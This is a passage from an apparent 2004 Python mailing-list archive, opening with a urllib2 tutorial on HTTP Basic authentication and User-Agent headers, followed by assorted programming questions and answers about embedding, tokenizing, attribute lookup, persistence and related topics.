to fetch a webpage without an internet connection. The User-Agent request header tells the server what program is asking for the web page - some sites (e.g. google) won't allow requests from anything other than a browser... so we might have to pretend to be a browser. (Which is generally considered bad client behaviour ? so I might get my knuckles rapped for including it here?). >>> import urllib2 >>> req = urllib2.Request('http://www.google.co.uk') >>> req.add_header('User-Agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)') >>> try: handle = urllib2.urlopen(req) except IOError, e: if hasattr(e, 'reason'): print 'Reason : ' print e.reason else: print handle.read() # if we had a connection this would print the page Reason : (7, 'getaddrinfo failed') >>> The actual exception is an URLError which is a subclass of IOError - the one tested for above in the try?except block. If you did a dir(e) on the above example then you would see all the attributes of the exception object. If however the request reaches a server then the server will send a response. Whether or not the request succeeds the response will contain headers from the server (or CGI script!!). These we call here 'http response headers'. If there is a problem then the response will include an error code - you are familiar with some of then 404 : Page not found, 500 : Internal Server Error etc. In this case an exception will still be raised by urllib2, but instead of a 'reason' attribute it will have a code attribute. The code attribute is an integer that corresponds to the http error code. (see http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html for a *full* list of codes). If a page requires authentication then the error code is 401. Included in the response headers is a 'WWW-authenticate' header that tells you what authentication scheme the server is using for this page *and* also something called a realm. As you know it is rarely just a single page that is protected by authentication but a whole 'realm' of a website. The name of the realm is included in this header line. If the client *already knows* the username/password for this realm then it can encode them into the request headers and try again. If the username/password combination are correct, then the request will succeed as normal. If the client doesn't know the username/password it should ask the user. This means that if you enter a protected 'realm' the client effectively has to request each page twice. The first time it will get an error code and be told what realm it is attempting to access ? the client can then get the right username/password for that realm (on that server) and repeat the request. Suppose we are attempt to fetch a webpage protected by basic authentication. >>> theurl = 'http://www.someserver.com/somepath/someprotectedpage.html' >>> try: handle = urllib2.urlopen(theurl) except IOError, e: if hasattr(e, 'code'): if e.code != 401: print 'We got another error' print e.code else: print e.headers print e.headers['www-authenticate'] # print e.headers.get('www-authenticate', '') might be a safer way of doing this Note the following things. We accessed the page directly from the url instead of creating a request object. If the exception has a 'code' attribute it also has an attribute called 'headers'. This is a dictionary like object with all the headers in ? but you can also print it to display all the headers. See the last line that displays the 'www-authenticate' header line which ought to be present whenever you get a 401 error. WWW-Authenticate: Basic realm="cPanel" Connection: close Set-Cookie: cprelogin=no; path=/ Server: cpsrvd/9.4.2 Content-type: text/html Basic realm="cPanel" You can see the authentication scheme and the 'realm' part of the 'www-authenticate' header. Assuming you know the username and password you can then navigate around that website ? whenever you get a 401 error with *the same realm* you can just encode the username/password into your request headers and your request should succeed. Lets assume you need to access two pages which are likely to be in same realm. Lets also assume that you know the username and password. You can save the realm information from when you make the first access, and whenever you get a 401 and the same realm (assuming your request is from the same server) you know you can use the same username/password. So the only detail left is knowing how to encode the username/password into request header. This is done by encoding it as a base 64 string. It doesn't actually look like clear text ? but it is only the most vaguest of 'encryption'. This means basic authentication is just that ? basic. Anyone sniffing your traffic who sees an authentication request header will be able to extract your username and password from it. Many websites (like yahoo or ebay) may use javascript hashing/encryption to authenticate a login, which is much harder to detect and mimic. You may need to use a proxy client server and see what information your browser is actually sending to the website (See http://groups.google.co.uk/groups?hl=en&lr=&ie=UTF-8&threadm=6f402501.0409100632.47e403f3%40posting.google.com&rnum=2 for a suggestion of several proxy servers that can do this). There is a very simple recipe on the Activestate Python Cookbook (It's actually in the comments of this page http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/267197 ) showing how to encode a username/password into a request header. It looks like this : import base64 base64string = base64.encodestring('%s:%s' % (data['name'], data['pass']))[:-1] req.add_header("Authorization", "Basic %s" % base64string) Where req is our request object like in the first example. Let's wrap all this up with an example that shows accessing a page, doing the authentication and saving the realm. I use a regular expression to pull the scheme and realm out of the authentication response header. I use urlparse to get the server part of a url. If we store the username/password (or the whole request header line) then we can re-use that information automatically if we come across another page in that realm. Some websites may also use cookies with authentication. Luckily there is a library that will allow you to have automatic cookie management without thinking about it. This is ClientCookie (http://wwwsearch.sourceforge.net/ClientCookie/ ). In python 2.4 it becomes part of the python standard library as clientcookie. See my cookbook example of how to use it (http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/302930 ). I've done a bigger example that displays a lot of http information including cookies, headers, environment variables (the CGI environment) and all this authentication stuff. You can find it at (http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/298336 ). """ import urllib2, sys, re, base64 from urlparse import urlparse theurl = 'http://www.someserver.com/somepath/somepage.html' # if you want to run this example you'll need to supply a protected page with your username and password username = 'johnny' password = 'XXXXXX' # a very bad password req = urllib2.Request(theurl) try: handle = urllib2.urlopen(req) except IOError, e: # here we are assuming we fail pass else: # If we don't fail then the page isn't protected print "This page isn't protected by authentication." sys.exit(1) if not hasattr(e, 'code') or e.code != 401: # we got an error - but not a 401 error print "This page isn't protected by authentication." print 'But we failed for another reason.' sys.exit(1) authline = e.headers.get('www-authenticate', '') # this gets the www-authenticat line from the headers - which has the authentication scheme and realm in it if not authline: print 'A 401 error without an authentication response header - very weird.' sys.exit(1) authobj = re.compile(r'''(?:\s*www-authenticate\s*:)?\s*(\w*)\s+realm=['"](\w+)['"]''', re.IGNORECASE) # this regular expression is used to extract scheme and realm matchobj = authobj.match(authline) if not matchobj: # if the authline isn't matched by the regular expression then something is wrong print 'The authentication line is badly formed.' sys.exit(1) scheme = matchobj.group(1) realm = matchobj.group(2) if scheme.lower() != 'basic': print 'This example only works with BASIC authentication.' sys.exit(1) base64string = base64.encodestring('%s:%s' % (username, password))[:-1] authheader = "Basic %s" % base64string req.add_header("Authorization", authheader) try: handle = urllib2.urlopen(req) except IOError, e: # here we shouldn't fail if the username/password is right print "It looks like the username or password is wrong." sys.exit(1) thefirstpage = handle.read() server = urlparse(theurl)[1].lower() # server names are case insensitive, so we will convert to lower case test = server.find(':') if test != -1: server = server[:test] # remove the :port information if present, we're working on the principle that realm names per server are likely to be unique... passdict = {(server, realm) : authheader } # now if we get another 401 we can test for an entry in passdict before having to ask the user for a username/password print 'Done successfully - information now stored in passdict.' """ ISSUES CHANGELOG 15-09-04 Version 1.0.0 I think it's ok - a few references in the documentation to find. """ From nick at craig-wood.com Wed Sep 29 15:30:12 2004 From: nick at craig-wood.com (Nick Craig-Wood) Date: 29 Sep 2004 19:30:12 GMT Subject: Avoiding shell metacharacters in os.popen References: Message-ID: Istvan Albert wrote: > Nick Craig-Wood wrote: > > > Avoiding shell metacharacter attacks is a must for secure programs. > > Not passing down commands into a shell is a must for secure programs. > > What you should do is recognize a command, identify it as a > valid and allowed one, then call it yourself. I'm not running commands passed by the user - that would be nuts! I'm running another program written by us. The program doing the running is a CGI and it needs to pass parameters to the second program which come from the user. It also needs to read the output of that program - hence popen. What my post was about was avoiding the shell completely. If you use os.system(string) then you go via the shell. However if you use os.spawnl(mode, file, *args) then it doesn't go anywhere near the shell. As I pointed out in my post there isn't an equivalent for os.popen* which doesn't go via the shell (except for undocumented os.popen2). > If you think that escaping metacharacters gives you any kind of > security you are deceiving yourself. As a second best escaping the metacharacters and using os.popen will work, but AFAICS there isn't a portable metacharacter escaping routine built into python. -- Nick Craig-Wood -- http://www.craig-wood.com/nick From apardon at forel.vub.ac.be Wed Sep 1 05:57:53 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 1 Sep 2004 09:57:53 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: Op 2004-09-01, Roel Schroeven schreef : > Antoon Pardon wrote: > >> Op 2004-08-31, Ville Vainio schreef : >> >>>>>>>>"Antoon" == Antoon Pardon writes: >>> >>> Antoon> The nesting reflects the structure of the algorithm. If an >>> Antoon> algorithm is best described by the nesting of a number of >>> Antoon> control structures then i don't see how you are going to >>> Antoon> remove that nesting. >>> >>>Functions and classes? >> >> >> If you need a function or class just to avoid nesting, then IMO >> you have only camoeflaged it. In order to understand what is >> going on you still need to understand how the nesting of >> a number of controls prroduce a certain result and when >> you write a function just to avoid nesting it often enough >> makes readablity harder. > > I disagree. I have never seen an algorithm that couldn't be neatly > subdivided in blocks, or where at least a block could be isolated. And > in my experience it always enhances the readability significantly. > Then that is fine for you and in that the case I would do the same, but my experience is not bound by yours. -- Antoon Pardon From maxm at mxm.dk Mon Sep 13 17:59:57 2004 From: maxm at mxm.dk (Max M) Date: Mon, 13 Sep 2004 23:59:57 +0200 Subject: PIL - setting the width of lines in ImageDraw In-Reply-To: References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> Message-ID: <41461819$0$222$edfadb0f@dread12.news.tele.dk> Larry Bates wrote: > There's nothing wrong with "slanted" rectangles. > In PIL you just define upper left and lower right > coordinates of the rectangle in pixels. That's > what a thick line would do anyway. Yeah I know I could do it that way. But I would rather avoid it. Which is why I am using PIL to begin with. regards Max M From rlratzel at enthought.com Wed Sep 8 19:36:39 2004 From: rlratzel at enthought.com (Rick Ratzel) Date: 8 Sep 2004 16:36:39 -0700 Subject: Extending/Embedding python References: Message-ID: Have you checked out elmer? http://elmer.sourceforge.net It generates the code needed to embed a Python module into a C application. Hope that helps, Rick. "Alicia Haumann" wrote in message news:... > I accidentally sent this to webmaster at python.org, so this could be a > duplicate if "webmaster" forwards it to this list. :{ > > Hi, there. > > Thanks for any help that can be offered. I've been working with Python for > a year or more now, but only doing simple extending in C/C++. I'm now > attempting some embedding and several questions have come to mind. > > BTW - I'm running Windows 2000 with Python23 and VisualC++ developers > studio. > > 1. (Not extending/embedding related at all) How can I pass in a load/bunch > of defines so I can use them over and over again, instead of having to copy > them in every *.py script. All my scripts use an "extension" dll that I > wrote that require a lot of constants. I looked a lot at that PyMemberDef > and Type stuff but didn't get it and don't know if that's the solution > anyway. > > 2. A couple simple examples I've seen for initModule() are written > differently. One only calls Py_InitModule("module", module_methods), but > the other also calls PyImport_AddModule("module"). What is the difference? > What does PyImport_AddModule() accomplish? > > 3. When embedding Python into my simple application, why can't I pass > application parameters? PyRun_SimpleString seems to only take hard-coded > values. Can/How can I get around this? My code looks like: > > if (!Py_IsInitialized()) > { > Py_Initialize(); > } > PyRun_SimpleString("import MyModule"); > PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', 0x5555)"); > PyRun_SimpleString("MyModule.MemoryTest(1, 0, 1)"); > PyRun_SimpleString("MyModule.Shutdown()"); > Py_Finalize(); > > But I'd like to pass application variables instead of the hard-coded 1, 0, 1 > and 0x5555, such as: > > int appInt = 0x5555; > PyRun_SimpleString("MyModule.init(1, 'c:\\diag\\dsp.ldr', appInt)"); > > I know I'm missing something fundamental here. Please advise. > > Also, is there a mailing list that I should join for this topic? > > Thank you!!!!!! > > Alicia. From eurleif at ecritters.biz Thu Sep 2 03:22:14 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Thu, 02 Sep 2004 03:22:14 -0400 Subject: compiling to python byte codes In-Reply-To: <4136b2b5$1@news.unimelb.edu.au> References: <4136b2b5$1@news.unimelb.edu.au> Message-ID: <2pnvpsFn74m5U1@uni-berlin.de> Maurice LING wrote: > Or is there any documentation or books that is the python equivalent of > "Programming for the Java Virtual Machine" by Joshua Engel? Python's byte code isn't very stable, so you might have to recreate your entire code base with every new Python version. I would suggest generating Python code (not byte code) instead and compiling that. From aleaxit at yahoo.com Thu Sep 23 02:59:10 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 08:59:10 +0200 Subject: Python lists ans sequence protocol from C API References: <1gkjfm7.wrjgtylgweyeN%aleaxit@yahoo.com> Message-ID: <1gkk67a.tvg17a5g8wy7N%aleaxit@yahoo.com> Matjaz wrote: > Alex, thanks. In the meantime I also found out what I > was doing wrong. One question, though. Would you > prefer using Py_BuildValue("") over Py_None and > increfing it? Py_None with suitable incref is faster, Py_BuildValue is more compact, not much in it either way. Alex From elainejackson7355 at home.com Thu Sep 2 09:52:46 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Thu, 02 Sep 2004 13:52:46 GMT Subject: namespace question Message-ID: I would like to be able to write a function f, which will live in a module M, and will call a function g, such that, when f is imported from M into the interpreter, and invoked there, its invokation of g will return the interpreter's global namespace. Is there a way to do this and, if so, how? Muchas gracias for any and all assistance. Peace From skip at pobox.com Mon Sep 6 21:54:45 2004 From: skip at pobox.com (Skip Montanaro) Date: Mon, 6 Sep 2004 20:54:45 -0500 Subject: glossary wiki In-Reply-To: <413A41FF.7030403@po-box.mcgill.ca> References: <413A41FF.7030403@po-box.mcgill.ca> Message-ID: <16701.5349.428173.177918@montanaro.dyndns.org> >> This brings up the question of standard terminology (e.g. for >> namespace). If one googles for python glossary, the top references >> are mostly >> >> http://manatee.mojam.com/python-glossary >> >> which seems not to have caught on so far (mea culpa too, since it >> takes volunteers ;-/ ). Brian> On "the effort where my mouth is" principle I have gone and added Brian> several entries: duck typing, dynamically typed, statically Brian> typed, and type. But, as a newbie, I am not wholly confident that Brian> what I have said is entirely right. Brian> So please, if anyone has an interest in keeping a good glossary Brian> up to date, surf by http://manatee.mojam.com/python-glossary and Brian> heal my errors or extend the glossary yourself. I'm happy to see the Python Glossary used and updated. My main aim in creating it was to build input for the glossary at the end of the Python tutorial though. It's been quite awhile since I or anyone else made a pass through it looking for new entries to copy to the tutorial. (I never expected to copy everything either.) Skip From aleaxit at yahoo.com Wed Sep 1 07:26:22 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 13:26:22 +0200 Subject: about presicion References: <8f17f4bc.0408261434.1a73e874@posting.google.com> <2e363c08.0408261912.2358a016@posting.google.com> <8f17f4bc.0408281303.3cfb4199@posting.google.com> <20040829041630.28913.00001771@mb-m26.aol.com> <1gjc13i.rx89x319njqe2N%aleaxit@yahoo.com> <1gjdvbc.3lhlg6soyrudN%aleaxit@yahoo.com> <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> Message-ID: <1gjfph7.tby02n1hlzsndN%aleaxit@yahoo.com> Anthony Baxter wrote: > Another approach is to find someone with the appropriate toolchain > (VS7.1) and get them to do: > > % python setup.py install > % python setup.py bdist_wininst > > and then make the windows installer for the gmpy module available. Sounds good -- are you volunteering?-) > My understanding is that building 2.4 modules with either mingw or the > freely available MS compiler is still a non-trivial exercise - but > there's enough people interested in this that I suspect it will be > resolved soon enough. Thanks for the info! And let's indeed hope things get better... if mingw sufficed I could use it on my old trusty Win98-on-Win4Lin- on-Linux setup, for example (gmpy does need speed, so maybe it's best to build it with the best optimizing compiler available, but other modules may not be quite as speed-critical as that). Alex From andre.roberge at ns.sympatico.ca Thu Sep 9 19:32:14 2004 From: andre.roberge at ns.sympatico.ca (Andr? Roberge) Date: 9 Sep 2004 16:32:14 -0700 Subject: Which one to use: generate_tokens or tokenize? Message-ID: According to the Python documentation: 18.5 tokenize -- Tokenizer for Python source ... The primary entry point is a generator: generate_tokens(readline) ... An older entry point is retained for backward compatibility: tokenize(readline[, tokeneater]) ==== Does this mean that one should preferably use generate_tokens? If so, what are the advantages? Andr? Roberge From ThisIsNotMyReal at ddress.com Sat Sep 25 02:05:33 2004 From: ThisIsNotMyReal at ddress.com (Brian) Date: Sat, 25 Sep 2004 06:05:33 GMT Subject: random.choice returns the same value Message-ID: Any reason why random.choice would return the first value in a list everytime? From tonym1972{at}club-internet{in}fr Sun Sep 19 12:49:56 2004 From: tonym1972{at}club-internet{in}fr (Anthony McDonald) Date: Sun, 19 Sep 2004 18:49:56 +0200 Subject: [offtopic] C programming newsgroup References: Message-ID: <414db89e$0$15754$7a628cd7@news.club-internet.fr> "Zach Shutters" wrote in message news:zN2dnU3STdMjONDcRVn-uw at comcast.com... > What newsgroup can you guys recommend for me that talks about programming > in c/c++ that is as active as this one? comp.lang.c is a fairly well respected newsgroup for C. I should warn you that they only deal with C as defined by the ANSI standard. For compiler extensions or system specific functions you'll need to search a little harder. I haven't been on comp.lang.c++ for a while, but they also have a some nice knowledgable people who are happy to answer question except again when the topic drifts to far into a compiler extensions or system specific features. Anthony McDonald From clifford.wells at comcast.net Mon Sep 20 17:36:02 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Mon, 20 Sep 2004 14:36:02 -0700 Subject: How can I pass objects in a web page? In-Reply-To: <9f363ad9.0409201259.4bd0f945@posting.google.com> References: <9f363ad9.0409201259.4bd0f945@posting.google.com> Message-ID: <1095716162.31957.432.camel@devilbox.devilnet.internal> On Mon, 2004-09-20 at 13:59 -0700, Brian Bull wrote: > I have written something that creates about 5000 unique objects. I > want to have a link on a page that when clicked will take the user to > a page that will "describe" the contents of the object. The problem > seems to be passing the object from one static page to another via a > link. Is this possible? The web, being stateless, usually requires that you "rebuild the world" with every mouse click. Probably what you'd want to do is use some sort of persistent object store (usually a database) to recover your objects from. I know there are a few projects that make this at least semi- transparent, ZODB being one of the more commonly used ones (it's part of Zope but can be used separately, if I'm not mistaken). Try googling for python+persistent+objects and see what comes up. Regards, Cliff -- Cliff Wells From db3l at fitlinxx.com Tue Sep 28 12:49:27 2004 From: db3l at fitlinxx.com (David Bolen) Date: 28 Sep 2004 12:49:27 -0400 Subject: False exceptions?" (was Re: theme of the week: tools References: Message-ID: Richie Hindle writes: > [Stephan] > > The "false exceptions" thing is a technical limitation of detecting > > whether or not an exception is going to lead to program termination at the > > moment it is raised, rather than later when exiting the program. We go up > > the stack to inspect Python byte code, and since we can't see into C/C++ > > object code we sometimes get it wrong. > > Thanks for this explanation - very interesting. I'm a bit confused as to why > you do this, though. Assuming an exception "is going to lead to program > termination", trapping it at the point it's raised is only one instruction > away from trapping at the point it causes termination (via sys.excepthook). (...) > Is that really the only reason you've implemented this feature, or am I > missing something? You're assuming that it's all Python code up the stack until the final exception handling. If there's an extension module in the way, you lose the ability to get at the information, and if that extension module decides to absorb the error, then there's no longer a chance to catch it. Unfortunately, it's the cases where the extension module silently absorbs the exception when things are working properly that Wing can't detect and would flag the exception anyway. -- David From deetsNOSPAM at web.de Wed Sep 1 07:28:24 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Wed, 01 Sep 2004 13:28:24 +0200 Subject: Need kinda ringbuffer on filesystem References: Message-ID: > Any other idea? Use pipes/fifos. They should exist on windows two. -- Regards, Diez B. Roggisch From aahz at pythoncraft.com Thu Sep 2 16:05:04 2004 From: aahz at pythoncraft.com (Aahz) Date: 2 Sep 2004 16:05:04 -0400 Subject: age of Python programmers References: <6amZc.17353$ni.8118@okepread01> <822221bb04090109167035d328@mail.gmail.com> Message-ID: In article , Andrew Durdin wrote: > >There seem to be a lot of Pythoneers who started with BASIC -- I guess >that's what came with most "home computers" in those days. I started >at 8 with BASIC on an Amstrad CPC6128 (though I played games more than >I wrote programs :). Except that I started with BASIC on an HP1000. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "To me vi is Zen. To use vi is to practice zen. Every command is a koan. Profound to the user, unintelligible to the uninitiated. You discover truth everytime you use it." --reddy at lion.austin.ibm.com From aleaxit at yahoo.com Thu Sep 16 11:32:34 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 16 Sep 2004 17:32:34 +0200 Subject: PyCFunction_New() ? References: <1gk7ji3.1a18dy395nrmjN%aleaxit@yahoo.com> Message-ID: <1gk7v5h.140a6gt19j2w40N%aleaxit@yahoo.com> Scott Deerwester wrote: > Alex Martelli wrote: > > > Scott Deerwester wrote: > > > >> Is it possible to create a Python-callable object, dynamically, in C/C++? > >> I > > > > Sure! But I'm not clear on why you want to create it dynamically. The > > C++ code is there all the time, isn't it? So why not the wrapping of it > > into Python-callable terms...? > > Because I'd like to have multiple instances of the class that has (or is > somehow associated with) the C/C++ callback, and to be able to hand a > corresponding Python object a Python-callable callback that ends up > invoking the C++ callback for a particular C++ class instance... Ah, you want to make "bound methods" from C++...? That's a tall order indeed. In C++ itself, in fact, you couldn't. Fortunately, you can exploit the 2nd argument of PyCFunction_New. Place the pointer to the C++ object there, wrapped into a PyObject (or cast into a PyObject* if you feel frisky...!-). Your C function unwraps it or casts it back, and then can call the C++ method on the suitable instance thus recovered. Alex From http Thu Sep 16 01:15:13 2004 From: http (Paul Rubin) Date: 15 Sep 2004 22:15:13 -0700 Subject: Incrementing a string References: Message-ID: <7xwtyuztem.fsf@ruckus.brouhaha.com> Here's my generator version: def gen_alph(): def convert(k,n): # convert integer k to n-letter string out = [] for i in xrange(n): k,r = divmod(k,26) out.append(chr(97+r)) out.reverse() return ''.join(out) nletters = 1 while True: for k in xrange(26**nletters): yield convert(k, nletters) nletters += 1 To test it: g = gen_alph() for i in range(40): print i, g.next() From secun at yahoo.com Tue Sep 14 09:09:49 2004 From: secun at yahoo.com (ChrisH) Date: Tue, 14 Sep 2004 13:09:49 GMT Subject: Communication between remote scripts Message-ID: I have a python script (A) that monitors a process (3rd party) on the local machine (Windows). I would like to create a second program on a remote Windows computer that receives an update from program A periodically (maybe every 10 minutes or so), and tells it everything is running without a problem. Can anyone recommend a good (and preferably simple) way for two programs to communicate on a network? From boutelbNOSPAM at acm.org Tue Sep 14 23:42:48 2004 From: boutelbNOSPAM at acm.org (Brian Boutel) Date: Wed, 15 Sep 2004 15:42:48 +1200 Subject: Xah Lee's Unixism In-Reply-To: References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> Message-ID: Greg Menke wrote: > >>>Iraq teaches the Islamic world that we're >>>crazy. >> >>By "we" you are referring to the some 40 nations who have contributed >>to the effort right? >> > > > Each nation with their couple hundred or fewer people? Don't make me > laugh. This one is the US and the UK and whatever bits & pieces we > could muscle out of all the countries that owe favors. Last time > around we had an actual coalition this one is pretty much only PR. > And, of course, very few countries sent troops to be part of the invasion force. Many others, like ours, are there in non-combatant roles to help repair the damage the invaders caused. --brian -- Brian Boutel Wellington New Zealand Note the NOSPAM From adalke at mindspring.com Thu Sep 2 01:02:59 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 02 Sep 2004 05:02:59 GMT Subject: why is this so slow? In-Reply-To: References: Message-ID: <7QxZc.5143$w%6.1935@newsread1.news.pas.earthlink.net> Lowell Kirsh wrote: > I created the following class (I know it's a dirty hack) so I could do > foo.bar instead of using a dictionary and having to type foo['bar'] : > > class DefaultAttr(object): > def __getattribute__(self, attr): > if not hasattr(self, attr): > return '' > return object.__getattribute__(self,attr) > > but its use is totally slowing down my program. Why is it so slow and is > there a better way? When you try foo.bar the __getattribute__ ends up being called with self = foo and attr = "bar". The hasattr(self, attr) is implemented something like def hasattr(obj, attr): try: getattr(obj, attr) return 1 except: return 0 That is, hasattr will do the same thing that getattr does. Which is exactly what foo.bar does. So you have a recursive call here. To see that I'll instrument the code you presented count = 0 class DefaultAttr(object): def __getattribute__(self, attr): global count if not hasattr(self, attr): count += 1 return '' return object.__getattribute__(self,attr) After I defined the above I can test it like this >>> x = DefaultAttr() >>> print count 0 >>> print x.y >>> print count 500 >>> See that count got set to 500? What happened was the Python stack hit it's limit >>> import sys >>> sys.getrecursionlimit() 1000 Looks like there's one Python stack frame for the hasattr and one for the __getattribute__. You don't see the exception because the hasattr assumes that *any* exception means that the attribute doesn't exist. The actual code is in dist/src/Python/bltinmodule.c in builtin_hasattr v = PyObject_GetAttr(v, name); if (v == NULL) { PyErr_Clear(); Py_INCREF(Py_False); return Py_False; } Py_DECREF(v); Py_INCREF(Py_True); return Py_True; (Don't we tell people that a bare except is a no-no? Eg, what if I hit ^C during the GetAttr test? Will it be ignored? Or what if the process runs out of memory? Perhaps this is related to "Thar the Windows stack blows!" commentary in the python-dev summary for 2004-08-01 to 08-15?) In other words, all the time is spent in hitting the stack limit. You might try it the other way around and return the underlying attribute then only if that fails do you return the default, like this count = 0 class DefaultAttr(object): def __getattribute__(self, attr): global count count += 1 try: return super(DefaultAttr, self).__getattribute__(attr) except AttributeError: return "" x = DefaultAttr() print "Start with", count print "y is", repr(x.y) print "And now", count x.z = 5 print "Checking ...", count print "z is", repr(x.z) print "count after z", count del x.z print "z is now", repr(x.z) print "count after 2nd z", count When I run that I get Start with 0 y is '' And now 1 Checking ... 1 z is 5 count after z 2 z is now '' count after 2nd z 3 Andrew dalke at dalkescientific.com From fperez528 at yahoo.com Thu Sep 16 19:19:25 2004 From: fperez528 at yahoo.com (Fernando Perez) Date: Thu, 16 Sep 2004 17:19:25 -0600 Subject: ctypes 0.9.1 released References: Message-ID: Thomas Heller wrote: > ctypes 0.9.1 released - Sept 14, 2004 > ===================================== [...] > The _ctypes.call_function function, although private and > deprecated, has been put back in - it is used by Gary Bishop's > readline module. IPython uses heavily Gary's readline and had been bitten by this. Windows users of ipython have already confirmed that ctypes 0.9.1 fixes the problem. I'd just like to send you a quick thank you note for accomodating us :) Cheers, f From alanmk at hotmail.com Wed Sep 8 07:20:01 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Wed, 08 Sep 2004 12:20:01 +0100 Subject: [XML-SIG] minidom parse error - keyerror In-Reply-To: References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au> Message-ID: [Ajay] > i have tried the archives now and heaps of Google searches but am no closer > to finding out what the error is. > > the error does not appear if i use expat. and >>i am parsing the attached document. >>the code is >>parser = make_parser('xml.sax.drivers2.drv_xmlproc') >>ruleSet = parse(ruleSetFile, parser=parser) >>i get the following error >> >>Traceback (most recent call last): >> File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line 98, >>in startElementNS >> prefix = self._current_context[a_uri] >>KeyError: u'http://www.w3.org/2001/02/appelv1' Since I can't see your document, I can't say for sure. But by the look of that traceback, you have neglected to declare a namespace in your XML document. The error appears to occur when the parser is looking for the "namespace prefix" associated with the namespace URI "http://www.w3.org/2001/02/appelv1". Post an example document if I'm wrong. -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From steven.bethard at gmail.com Sat Sep 4 17:18:53 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Sat, 4 Sep 2004 21:18:53 +0000 (UTC) Subject: docs on for-loop with no __iter__? References: Message-ID: Andrew Dalke mindspring.com> writes: > http://docs.python.org/ref/sequence-types.html > > ] Note: for loops expect that an IndexError will be > ] raised for illegal indexes to allow proper detection > ] of the end of the sequence. Thanks, that's what I was looking for. I knew it had to be around there somewhere. =) Presumably there was a reason not to use len() to determine the end of the sequence? Steve From lbates at swamisoft.com Wed Sep 15 17:54:37 2004 From: lbates at swamisoft.com (Larry Bates) Date: Wed, 15 Sep 2004 16:54:37 -0500 Subject: function arguments References: Message-ID: Paul has explanation (see his response), but I wanted to expand a little. def foo(*args, **kwargs): for arg in args: print arg for key, value in kwargs.items(): print key, value return >>> foo('a','b',x=1,y=2) a b y 2 x 1 or def foo(list_of_args, **kwargs): # # Now call function with args as individual arguments # and keyword arguments as individual keyword # arguments also. # call_other_function(*list_of_args, **kwargs) return Hope this helps, Larry Bates "Joe Laughlin" wrote in message news:I43MHJ.66G at news.boeing.com... >I want to do something like the following > > def foo(list_of_args): > call_other_function(arg1, arg2, arg3) > # Where arg1 == "x", arg2 == "y", etc. > # Should work with any list size > > foo(["x", "y", "z"]) > > Make sense? Need clarification? In summary, I want to pass a list of > arguments to a function. The function needs to pass each argument in the > list to a different function. > > Thanks, > Joe > > From ruchika_khera at hotmail.com Fri Sep 10 12:44:22 2004 From: ruchika_khera at hotmail.com (ruchika khera) Date: Fri, 10 Sep 2004 16:44:22 +0000 Subject: Build a project from the script using popen3 Message-ID: An HTML attachment was scrubbed... URL: From bsmatt at gmail.com Mon Sep 27 14:43:55 2004 From: bsmatt at gmail.com (bmatt) Date: 27 Sep 2004 11:43:55 -0700 Subject: Multiple Interpreters In a Single Thread References: Message-ID: I wanted to follow up on my post and let everyone how I decided to tackle this problem. If you see any inherent problems with my solution or know of a better way to handle it then let me know. I decided to run each script in a separate thread but force them to run synchronously. This may seem like overkill but it allows me to use separate python interpreters (secondary concern) and facilitates the scripts ability to relinquish control back to the main application thread so that it can wait a single program loop iteration or wait a specific amount of time before continuing or wait for some other defined event. bsmatt at gmail.com (bmatt) wrote in message news:... > I am trying to support multiple interpreter instances within a single > main application thread. The reason I would like separate interpreters > is because objects in my system can be extended with python scripts > via a well defined interface (i.e. The onCreate script will be called > when the object is created). > > So...Is it necessary to use multiple interpreters since each script I > import will be given its own module name and therefore the predefined > functions can be resolved using that module name? > > If it is necessary then how is this accomplished? I have tried using > Py_NewInterpreter() but have been getting a strange crash (invalid > thread state). > > Another concern I have is that I would like to be able to support > scripts defining their own application loop like functions. These > functions will need to be able to pause and wait for the next > application loop iteration before continuing. So...is there a way to > stop the interpreter ( via a call to an application defined function > like system.waitIteration() ), save the state of the interpreter and > continue processing when the application says it is ready? > > I know these are kind of high level and vague questions but I am just > in the proof of concept and design phase and need to make sure some of > my ideas are feasible. Any information would be appreciated. > > Thanks From bvande at po-box.mcgill.ca Tue Sep 21 18:21:57 2004 From: bvande at po-box.mcgill.ca (Brian van den Broek) Date: Tue, 21 Sep 2004 18:21:57 -0400 Subject: Math errors in python In-Reply-To: <41508b1e$0$60637$a1866201@newsreader.visi.com> References: <70b3d.1822$uz1.747@trndny03> <60dfb6f6.0409211207.6099285c@posting.google.com> <41508b1e$0$60637$a1866201@newsreader.visi.com> 